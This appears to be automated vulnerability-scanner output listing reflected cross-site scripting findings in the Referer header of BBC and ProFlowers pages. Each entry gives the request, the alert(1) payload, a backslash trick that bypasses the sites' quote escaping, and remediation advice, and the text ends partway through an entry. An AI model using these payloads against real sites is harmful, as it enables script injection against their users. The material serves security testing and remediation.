GET /weather/forecast/8 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=8221a'-alert(1)-'9685683ea2
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b32fa'-alert(1)-'449dfb34b5c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /weather/forecast/8/ HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=J08781_10042|J08781_10139|J08781_10216|J08781_10277; BBC-UID=048de0da76396d645de62f03e16c7e10505ea811e050412f32a9f0fcf600f7a60Mozilla%2f4%2e0%20%28compatible%3b%20MSIE%207%2e0%3b%20Windows%20NT%206%2e0%3b%29; BBCWCW=*********************8*London*0***********1*v54_3; __qca=P0-1418742289-1292527596489; Referer: http://www.google.com/search?hl=en&q=b32fa'-alert(1)-'449dfb34b5c
Response
HTTP/1.1 200 OK Server: Apache Cache-Control: max-age=0 Content-Type: text/html; charset=UTF-8 Date: Thu, 16 Dec 2010 19:46:32 GMT Keep-Alive: timeout=10, max=688 Connection: close X-Powered-By: PHP/5.2.5 Content-Length: 59449
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0265\"%3balert(1)//eb233bb2f44 was submitted in the Referer HTTP header. This input was echoed as f0265\\";alert(1)//eb233bb2f44 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Birthday-Cupcake-30009626 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=f0265\"%3balert(1)//eb233bb2f44
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e739d\"%3balert(1)//e6a08a07272 was submitted in the Referer HTTP header. This input was echoed as e739d\\";alert(1)//e6a08a07272 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Christmas-Bouquet-with-Chocolates-30045477 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=e739d\"%3balert(1)//e6a08a07272
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 37220\"%3balert(1)//eec6a1f4673 was submitted in the Referer HTTP header. This input was echoed as 37220\\";alert(1)//eec6a1f4673 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Deluxe-Smiles-and-Sunshine-30007597 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=37220\"%3balert(1)//eec6a1f4673
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8f44e\"%3balert(1)//ddcc2f8b062 was submitted in the Referer HTTP header. This input was echoed as 8f44e\\";alert(1)//ddcc2f8b062 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Holiday-Treasures-wCherry-Red-Vase-30045179 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=8f44e\"%3balert(1)//ddcc2f8b062
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be988\"%3balert(1)//631d415fd3 was submitted in the Referer HTTP header. This input was echoed as be988\\";alert(1)//631d415fd3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Smiles-and-Sunshine-30007596 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=be988\"%3balert(1)//631d415fd3
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8cebf\"%3balert(1)//0073b4d8f31 was submitted in the Referer HTTP header. This input was echoed as 8cebf\\";alert(1)//0073b4d8f31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /Sugar-Plum-Lilies-with-Pine-30034223 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=8cebf\"%3balert(1)//0073b4d8f31
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 982ec\"%3balert(1)//c92c3f25076 was submitted in the Referer HTTP header. This input was echoed as 982ec\\";alert(1)//c92c3f25076 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /birthday/Birthday-Bear-4878 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=982ec\"%3balert(1)//c92c3f25076
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e3048\"%3balert(1)//8c22361f3cc was submitted in the Referer HTTP header. This input was echoed as e3048\\";alert(1)//8c22361f3cc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /chocolate/12-HandDipped-Fancy-Berries-9722 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=e3048\"%3balert(1)//8c22361f3cc
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45fed\"%3balert(1)//05d044b97fa was submitted in the Referer HTTP header. This input was echoed as 45fed\\";alert(1)//05d044b97fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /chocolate/Handmade-Chocolate-Covered-Snowman-Hats-30010311 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=45fed\"%3balert(1)//05d044b97fa
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efa84\"%3balert(1)//0d9f8a643fd was submitted in the Referer HTTP header. This input was echoed as efa84\\";alert(1)//0d9f8a643fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/15-Christmas-Tulips-with-Fresh-Douglas-Fir-30007158 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=efa84\"%3balert(1)//0d9f8a643fd
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fcbc7\"%3balert(1)//0bae500da8e was submitted in the Referer HTTP header. This input was echoed as fcbc7\\";alert(1)//0bae500da8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/18-Christmas-Lights-Roses-wChocolate-Covered-Oreos-30046055 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=fcbc7\"%3balert(1)//0bae500da8e
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fcfda\"%3balert(1)//38795a5ce05 was submitted in the Referer HTTP header. This input was echoed as fcfda\\";alert(1)//38795a5ce05 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/20-Christmas-Tulips-wFREE-Candy-Cane-Vase--Chocolates-30001707 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=fcfda\"%3balert(1)//38795a5ce05
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 696e3\"%3balert(1)//988dfc7e81a was submitted in the Referer HTTP header. This input was echoed as 696e3\\";alert(1)//988dfc7e81a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/50-Blooms-of-Garden-Spray-Roses-30002721 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=696e3\"%3balert(1)//988dfc7e81a
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 46095\"%3balert(1)//2ecb8b37f73 was submitted in the Referer HTTP header. This input was echoed as 46095\\";alert(1)//2ecb8b37f73 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/75-Blooms-of-Candy-Cane-Peruvian-Lilies-30006510 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=46095\"%3balert(1)//2ecb8b37f73
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 50620\"%3balert(1)//ce51515fe12 was submitted in the Referer HTTP header. This input was echoed as 50620\\";alert(1)//ce51515fe12 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/75-Blooms-of-Candy-Cane-Peruvian-Lilies-with-Chocolates-30046079 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=50620\"%3balert(1)//ce51515fe12
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63074\"%3balert(1)//7077c0e8731 was submitted in the Referer HTTP header. This input was echoed as 63074\\";alert(1)//7077c0e8731 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/A-Little-Sunshine-30002558 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=63074\"%3balert(1)//7077c0e8731
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cd111\"%3balert(1)//aa4f513a9a was submitted in the Referer HTTP header. This input was echoed as cd111\\";alert(1)//aa4f513a9a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/All-the-Frills-30003887 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=cd111\"%3balert(1)//aa4f513a9a
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d4ea6\"%3balert(1)//d0957e0f75c was submitted in the Referer HTTP header. This input was echoed as d4ea6\\";alert(1)//d0957e0f75c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /flowers/Christmas-Fruit-Basket-30040149 HTTP/1.1 Host: products.proflowers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Referer: http://www.google.com/search?hl=en&q=d4ea6\"%3balert(1)//d0957e0f75c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 96581\"%3balert(1)//c93db7aaf3 was submitted in the Referer HTTP header. This input was echoed as 96581\\";alert(1)//c93db7aaf3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defence is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
